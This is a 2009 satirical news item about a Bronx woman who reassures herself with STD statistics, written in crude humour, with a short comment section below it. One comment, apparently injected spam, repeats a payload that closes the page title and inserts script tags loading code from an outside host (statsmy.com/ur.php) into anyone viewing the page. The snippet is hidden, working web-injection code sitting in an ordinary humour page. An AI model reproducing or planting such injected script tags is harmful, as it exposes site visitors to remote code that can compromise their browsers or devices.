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Local Girl Relies On STD Stats To Remind Her Not Getting Laid Isn’t So Bad
by Mark on 3/27/2009 (2)

BRONX – 21 year old Bronx resident Angie Morelli recently visited here favorite STD stat sites just to reassure herself that “not getting laid really isn’t that bad” after all.

“OMG! I mean look at these statistics!” blurted Morelli in between rarified gulps of air “Did you know that one million people have AIDS in America?! OMG! That’s like, 1 in 300 people have AIDS! That means when I go to any given football game in a stadium that seats 60,000 people, like 200 people have AIDS! And did you know that one in four people have Herpes or some other STD?! Ewww! Jesus God! Am I ever glad I’m not getting laid!”

Just across the street from Morelli, Joey Scappone, holed up in a dingy Yancy street Bronx apartment, viewed STD’s rather differently, advising “It’s all just a big crap shoot. Put your dick on the table, beats her pair of tits, joker’s wild!” go


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1. by Kris on 3/27/2009 6:40:31 PM
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2. by Motz on 3/30/2009 6:51:54 AM
nope...huh..on </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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